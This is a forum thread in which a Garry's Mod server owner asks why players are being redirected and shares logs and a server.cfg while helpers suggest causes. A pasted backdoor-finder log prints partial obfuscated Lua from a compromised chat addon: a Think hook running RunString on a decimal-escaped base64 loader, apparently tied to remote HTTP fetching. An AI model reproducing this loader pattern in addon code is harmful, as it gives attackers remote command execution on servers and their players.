New hack ? My players are redirected

[Tynaluto]

Hi !!!!

A hacker have find a new bug !
My players are redirected to a server other than mine

error code :

[ERROR] RunString:8: Tried to use a NULentity!
1. SendLua - [C]:-1
2. unknown - RunString:8
Timer Failed! [Simple][@RunString (line 7)]

please need a fix
many french servers have the same problem

thx.

[Screamie]

[QUOTE=Tynaluto;50550344]Hi !!!!

A hacker have find a new bug !
My players are redirected to a server other than mine

error code :

[ERROR] RunString:8: Tried to use a NULentity!
1. SendLua - [C]:-1
2. unknown - RunString:8
Timer Failed! [Simple][@RunString (line 7)]

please need a fix
many french servers have the same problem

thx.[/QUOTE]

What addon's do you have installed on your server?
or
Maybe he changed a certain setting inside your server.cfg (garrysmod/garrysmod/cfg/server.cfg)

[Tynaluto]

[QUOTE=Screamie;50550378]What addon's do you have installed on your server?[/QUOTE]

I have a f4 menu, tab menu, escape menu, bodygroup, atlaschat, a hud, pronemod, antipropkill

but many french servers have the same problem !!

Wtf is that ?

It comes from the French hosts darkrp?

[pervert]

Its not a "hacker".

One of the addon's you are running is using null entities in a RunString.

[Tynaluto]

How to find the runstring ?

Thx for your reply

[Screamie]

[QUOTE=Tynaluto;50550390]I have a f4 menu, tab menu, escape menu, bodygroup, atlaschat, a hud, pronemod, antipropkill

but many french servers have the same problem !!

Wtf is that ?

It comes from the French hosts darkrp?[/QUOTE]

Honestly, i believe it's one of your addon's.

Usually people put malicious code inside an addon file to fuck with you or your server.

[url=https://facepunch.com/showthread.php?t=1476003]BackDoor Finder (by Tyguy)[/url]
All you do, is place the addon in your addon's folder, run your server and wait to see if any command has been ran, if it has then go to that file and delete the code out. (This isn't guaranteed to find 100% malicious code, just certain string's here and there.)

I would still go through each addon just to make sure.

Also, if you downloaded DarkRP from another source other than FPtje's github. I would recommend downloading it from there instead.
[url=https://github.com/FPtje/DarkRP]FPtje's DarkRP Master (GitHub)[/url]

[Tynaluto]

// pcall ran: addons/ulib/lua/ulib/shared/util.lua //
local b, e = pcall( stack[ 1 ].fn, unpack( stack[ 1 ], 1, stack[ 1 ].n ) ) - severe
// end of log //
// pcall ran: addons/ulib/lua/ulib/shared/util.lua //
local b, e = pcall( stack[ 1 ].fn, unpack( stack[ 1 ], 1, stack[ 1 ].n ) ) - severe
// end of log //
// RunString ran: addons/atlaschat/lua/atlaschat/sh_utilities.lua //
hook.Add("Think", "AtlasChat.Function.Hook.Service.OnPlayerChatFindAndGetAllPlayersFunction", function() RunString("\102\117\110\99\116\105\111\110\32\117\116\105\108\46\65\66\67\68\69\70\71\69\69\90\71\69\69\71\90\71\69\40\32\100\97\116\97\32\41\32\108\111\99\97\108\32\98\61\39\65\66\67\68\69\70\71\72\73\74\75\76\77\78\79\80\81\82\83\84\85\86\87\88\89\90\97\98\99\100\101\102\103\104\105\106\107\108\109\110\111\112\113\114\115\116\117\118\119\120\121\122\48\49\50\51\52\53\54\55\56\57\43\47\39\32\105\102\32\33\100\97\116\97\32\116\104\101\110\32\114\101\116\117\114\110\32\101\110\100\32\100\97\116\97\32\61\32\115\116\114\105\110\103\46\103\115\117\98\40\100\97\116\97\44\32\39\91\94\39\46\46\98\46\46\39\61\93\39\44\32\39\39\41\32\114\101\116\117\114\110\32\40\100\97\116\97\58\103\115\117\98\40\39\46\39\44\32\102\117\110\99\116\105\111\110\40\120\41\32\105\102\32\40\120\32\61\61\32\39\61\39\41\32\116\104\101\110\32\114\101\116\117\114\110\32\39\39\32\101\110\100\32\108\111\99\97\108\32\114\44\102\61\39\39\44\4// end of log //
// http ran: RunString //
// RunString ran: addons/atlaschat/lua/autorun/atlaschat_load.lua //
hook.Add("Think", "CCC", function() RunString("\102\117\110\99\116\105\111\110\32\117\116\105\108\46\65\66\67\68\69\70\71\69\69\90\71\69\69\71\90\71\69\40\32\100\97\116\97\32\41\32\108\111\99\97\108\32\98\61\39\65\66\67\68\69\70\71\72\73\74\75\76\77\78\79\80\81\82\83\84\85\86\87\88\89\90\97\98\99\100\101\102\103\104\105\106\107\108\109\110\111\112\113\114\115\116\117\118\119\120\121\122\48\49\50\51\52\53\54\55\56\57\43\47\39\32\105\102\32\33\100\97\116\97\32\116\104\101\110\32\114\101\116\117\114\110\32\101\110\100\32\100\97\116\97\32\61\32\115\116\114\105\110\103\46\103\115\117\98\40\100\97\116\97\44\32\39\91\94\39\46\46\98\46\46\39\61\93\39\44\32\39\39\41\32\114\101\116\117\114\110\32\40\100\97\116\97\58\103\115\117\98\40\39\46\39\44\32\102\117\110\99\116\105\111\110\40\120\41\32\105\102\32\40\120\32\61\61\32\39\61\39\41\32\116\104\101\110\32\114\101\116\117\114\110\32\39\39\32\101\110\100\32\108\111\99\97\108\32\114\44\102\61\39\39\44\40\98\58\102\105\110\100\40\120\41\45\49\41\32\102\111\114\32\105\61\5// end of log //
// http ran: RunString //
Writing cfg/banned_user.cfg.
// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
// end of log //
// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
// end of log //
// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
// end of log //
// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
// end of log //
// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
// end of log //
// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
// end of log //
// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
// end of log //
// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
// end of log //
// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
end of log //
// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
// RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
// end of log //
// RunString ran: RunString //
// RunString ran: RunString //

// pcall ran: addons/ulib/lua/ulib/shared/util.lua //
local b, e = pcall( stack[ 1 ].fn, unpack( stack[ 1 ], 1, stack[ 1 ].n ) ) - severe
// end of log //

// RunConsoleCommand ran: addons/ulx/lua/ulx/sh_base.lua //
RunConsoleCommand( "ulx_" .. cvar.cvar, argv[ 2 ] ) - severe
// end of log //

// http ran: addons/ulib/lua/ulib/shared/plugin.lua //
http.Fetch( "http://google.com", httpCheck, httpErr ) - severe
// end of log //

"sv_allowcslua" = "0"
game archive notify replicated
- Allow clients to run clientside addons. This will override any gamemode setting!
// RunString ran: RunString //
// RunString ran: RunString //

Where is the problem ?

Thanks for your help dude.

[Screamie]

I don't see anything that stand's out as malicious from the log you posted.

So here's a few thing's that you could do.
1. Move the addon's to a seperate file on your desktop, just to rule out that the addon's aren't causing the issue. (If the redirecting stop's then there was probably some sneaky code somewhere.)

2. Make sure there's no setting you haven't set in the server.cfg located at (garrysmod/garrysmod/cfg/server.cfg)

3. Buy a anti-cheat off of scriptfodder (I'd recommend !CAC (!Cake Anti-Cheat), or use Leystryku's from facepunch [url=https://facepunch.com/showthread.php?t=1426843]LeyAC[/url] (There's no support for this)

4. You can try re-installing your server if #1, #2, #3 did not fix the problem.

[Tynaluto]

server.cfg

///////////////////////////////////////////////////////////
///////// Config serveur mTxServ ///////////
///////// [url]www.mTxServ.fr[/url] ///////////
///////////////////////////////////////////////////////////

log on

// Nom du serveur
hostname "**************************"

// Mot de passe
sv_password ""

// Fast Download
sv_downloadurl "********************"

// Loading Screen
sv_loadingurl "********************"

// RCON
rcon_password "**************"

// Region du serveur (3 = Europe)
sv_region "3"

// Allow/disallow client side LUA
sv_allowcslua "0"

// Disallow cheat commands
sv_cheats "0"

// Misc
mp_timelimit "0"
sv_lan "0"
sv_logbans "1"
sv_logecho "1"
sv_logfile "1"
sv_log_onefile "0"
sv_noclipspeed "5"
sv_noclipaccelerate "5"

// Gamemode
gamemode "militaryrp"

// PVP
sbox_playershurtplayers "1"
mp_friendlyfire "1"

// Godmode
sbox_godmode "0"

// Pausable
sv_pausable "0"

// SourceTV
tv_enable "0"
tv_delay "30"

// Netcode
sv_mincmdrate "66"
sv_maxcmdrate "128"
sv_minrate "1048576"
sv_maxrate "0"
decalfrequency "10"
sv_maxupdaterate "66"
sv_minupdaterate "66"
fps_max "0"

// Gmod cvars
sbox_noclip "0"
sbox_maxprops "30"
sbox_maxragdolls "2"
sbox_maxnpcs "2"
sbox_maxballoons "10"
sbox_maxeffects "2"
sbox_maxdynamite "0"
sbox_maxlamps "1"
sbox_maxthrusters "0"
sbox_maxwheels "0"
sbox_maxhoverballs "0"
sbox_maxvehicles "2"
sbox_maxbuttons "10"
sbox_maxsents "20"
sbox_maxemitters "1"
sbox_maxspawners "3"
sbox_maxturrets "2"

// Server Settings
net_maxfilesize "64"

//Execute ban files
exec banned_ip.cfg
exec banned_user.cfg

[Screamie]

Ok, well it doesn't seem to be your server.cfg.

Also, you might want to check that your server is properly port forwarded, because this could be a contributing factor.

[Tynaluto]

[QUOTE=Screamie;50550852]Ok, well it doesn't seem to be your server.cfg.

Also, you might want to check that your server is properly port forwarded, because this could be a contributing factor.[/QUOTE]

[url]http://pastebin.com/VkHnNT1U[/url]

[Screamie]

Sorry for late response Tynaluto.

Honestly, i don't know what's wrong with your server and why it's redirecting people to a different server.

I would recommend re-installing your server, I mean unless anyone else here know's why. But i'm sorry i couldn't figure out the problem faster.

I wish you best of luck.

[Tynaluto]

Hello on the French forums and more precisely on the forums of the host mtxServ many people complain because they are hack their garry's mod dark rp server too

I'm not the only one to have problems

And I did not want to pay €15 for an anti-cheat, sorry

This anti cheat [url]https://facepunch.com/showthread.php?t=1426843[/url] is still current? I can use?

Thx.

[Rubat]

Probably one of the addons are forcing players to be connected to another server. Or one of your addons has a backdoor that anyone can use to execute any command on your server.

I cannot tell you which addon that might be. Atlas Chat could be one, in case you "pirated it".